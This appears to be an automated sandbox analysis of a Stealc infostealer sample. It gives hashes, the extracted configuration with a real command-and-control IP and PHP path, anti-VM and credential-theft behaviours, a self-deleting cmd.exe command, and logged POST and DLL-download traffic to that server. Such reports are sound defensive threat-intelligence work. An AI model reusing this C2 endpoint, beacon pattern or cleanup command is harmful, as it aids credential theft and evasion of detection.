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Analysis

  • max time kernel
    95s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/11/2024, 08:03 UTC

General

  • Target

    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe

  • Size

    2.0MB

  • MD5

    263f8c88c832ba9cb27343992a861af5

  • SHA1

    5d253e787cd38ea98abf48c6fd00cd777323ad6c

  • SHA256

    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae

  • SHA512

    64b8ed3654539eda6a613a7c0c11808df9ddf2f74901f3edf0d1d28c6aa01a88b9d9207c304e9b0a52b927287a99506ec990e254fe7985ed7d6d92661cf7d287

  • SSDEEP

    49152:YLXoRO7VqWRNjTUTz+Xx9rltxe2JpFmne6tnMe7NQdGZx81QsAhRw:PIhRZUTaJtBFijMeZQdGD9sURw

Malware Config

Extracted

Family

stealc

Botnet

tale

C2

http://185.215.113.206

Attributes
  • url_path

    /6c4adf523b719729.php

Signatures

  • Stealc

    Stealc is an infostealer written in C++.

  • Stealc family
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Loads dropped DLL 1 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    "C:\Users\Admin\AppData\Local\Temp\451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Identifies Wine through registry keys
    • Loads dropped DLL
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3652
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe" & del "C:\ProgramData\*.dll"" & exit
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2744
      • C:\Windows\SysWOW64\timeout.exe
        timeout /t 5
        3⤵
        • System Location Discovery: System Language Discovery
        • Delays execution with timeout.exe
        PID:2184

Network

  • flag-us
    DNS
    8.8.8.8.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    8.8.8.8.in-addr.arpa
    IN PTR
    Response
    8.8.8.8.in-addr.arpa
    IN PTR
    dnsgoogle
  • flag-ru
    GET
    http://185.215.113.206/
    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    Remote address:
    185.215.113.206:80
    Request
    GET / HTTP/1.1
    Host: 185.215.113.206
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Thu, 14 Nov 2024 08:03:58 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 0
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHI
    Host: 185.215.113.206
    Content-Length: 211
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Thu, 14 Nov 2024 08:03:59 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=99
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----EGIIJDHCGCBKECBFIJKK
    Host: 185.215.113.206
    Content-Length: 473
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Thu, 14 Nov 2024 08:03:59 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=98
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----BFBGDGIDBAAEBFHJKJDG
    Host: 185.215.113.206
    Content-Length: 472
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Thu, 14 Nov 2024 08:03:59 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=97
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----JDGIECGIEBKJJJJKEGHJ
    Host: 185.215.113.206
    Content-Length: 473
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Thu, 14 Nov 2024 08:03:59 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=96
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----CBGCBKFBGIIIECAAAKFC
    Host: 185.215.113.206
    Content-Length: 5004
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Thu, 14 Nov 2024 08:03:59 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=95
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    GET
    http://185.215.113.206/746f34465cf17784/sqlite3.dll
    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    Remote address:
    185.215.113.206:80
    Request
    GET /746f34465cf17784/sqlite3.dll HTTP/1.1
    Host: 185.215.113.206
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Thu, 14 Nov 2024 08:03:59 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----DHJDAKEGDBFHCAAKJJJD
    Host: 185.215.113.206
    Content-Length: 472
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Thu, 14 Nov 2024 08:03:59 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=93
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----DBFIEHDHIIIECAAKECFH
    Host: 185.215.113.206
    Content-Length: 470
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Thu, 14 Nov 2024 08:03:59 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=92
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHI
    Host: 185.215.113.206
    Content-Length: 465
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Thu, 14 Nov 2024 08:04:00 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=91
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----EGIIJDHCGCBKECBFIJKK
    Host: 185.215.113.206
    Content-Length: 465
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Thu, 14 Nov 2024 08:04:00 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=90
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-us
    DNS
    133.211.185.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    133.211.185.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    206.113.215.185.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    206.113.215.185.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    172.214.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.214.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    72.32.126.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    72.32.126.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    149.220.183.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    149.220.183.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    50.23.12.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    50.23.12.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    171.39.242.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    171.39.242.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    172.210.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.210.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    88.210.23.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    88.210.23.2.in-addr.arpa
    IN PTR
    Response
    88.210.23.2.in-addr.arpa
    IN PTR
    a2-23-210-88deploystaticakamaitechnologiescom
  • flag-us
    DNS
    43.229.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    43.229.111.52.in-addr.arpa
    IN PTR
    Response
  • 185.215.113.206:80
    http://185.215.113.206/6c4adf523b719729.php
    http
    451926dc2c24b0019677b06b189f1d7fdd38deccfe7ea47f7c72e243f1e21cae.exe
    12.5kB
    5.8kB
    30
    18

    HTTP Request

    GET http://185.215.113.206/

    HTTP Response

    200

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    GET http://185.215.113.206/746f34465cf17784/sqlite3.dll

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404
  • 8.8.8.8:53
    8.8.8.8.in-addr.arpa
    dns
    66 B
    90 B
    1
    1

    DNS Request

    8.8.8.8.in-addr.arpa

  • 8.8.8.8:53
    133.211.185.52.in-addr.arpa
    dns
    73 B
    147 B
    1
    1

    DNS Request

    133.211.185.52.in-addr.arpa

  • 8.8.8.8:53
    206.113.215.185.in-addr.arpa
    dns
    74 B
    134 B
    1
    1

    DNS Request

    206.113.215.185.in-addr.arpa

  • 8.8.8.8:53
    172.214.232.199.in-addr.arpa
    dns
    74 B
    128 B
    1
    1

    DNS Request

    172.214.232.199.in-addr.arpa

  • 8.8.8.8:53
    72.32.126.40.in-addr.arpa
    dns
    71 B
    157 B
    1
    1

    DNS Request

    72.32.126.40.in-addr.arpa

  • 8.8.8.8:53
    149.220.183.52.in-addr.arpa
    dns
    73 B
    147 B
    1
    1

    DNS Request

    149.220.183.52.in-addr.arpa

  • 8.8.8.8:53
    50.23.12.20.in-addr.arpa
    dns
    70 B
    156 B
    1
    1

    DNS Request

    50.23.12.20.in-addr.arpa

  • 8.8.8.8:53
    171.39.242.20.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    171.39.242.20.in-addr.arpa

  • 8.8.8.8:53
    172.210.232.199.in-addr.arpa
    dns
    74 B
    128 B
    1
    1

    DNS Request

    172.210.232.199.in-addr.arpa

  • 8.8.8.8:53
    88.210.23.2.in-addr.arpa
    dns
    70 B
    133 B
    1
    1

    DNS Request

    88.210.23.2.in-addr.arpa

  • 8.8.8.8:53
    43.229.111.52.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    43.229.111.52.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\chrome.dll

    Filesize

    676KB

    MD5

    eda18948a989176f4eebb175ce806255

    SHA1

    ff22a3d5f5fb705137f233c36622c79eab995897

    SHA256

    81a4f37c5495800b7cc46aea6535d9180dadb5c151db6f1fd1968d1cd8c1eeb4

    SHA512

    160ed9990c37a4753fc0f5111c94414568654afbedc05308308197df2a99594f2d5d8fe511fd2279543a869ed20248e603d88a0b9b8fb119e8e6131b0c52ff85

  • memory/3652-0-0x0000000000E90000-0x00000000015CB000-memory.dmp

    Filesize

    7.2MB

  • memory/3652-1-0x0000000077594000-0x0000000077596000-memory.dmp

    Filesize

    8KB

  • memory/3652-2-0x0000000000E91000-0x0000000000EF9000-memory.dmp

    Filesize

    416KB

  • memory/3652-3-0x0000000000E90000-0x00000000015CB000-memory.dmp

    Filesize

    7.2MB

  • memory/3652-10-0x0000000000E90000-0x00000000015CB000-memory.dmp

    Filesize

    7.2MB

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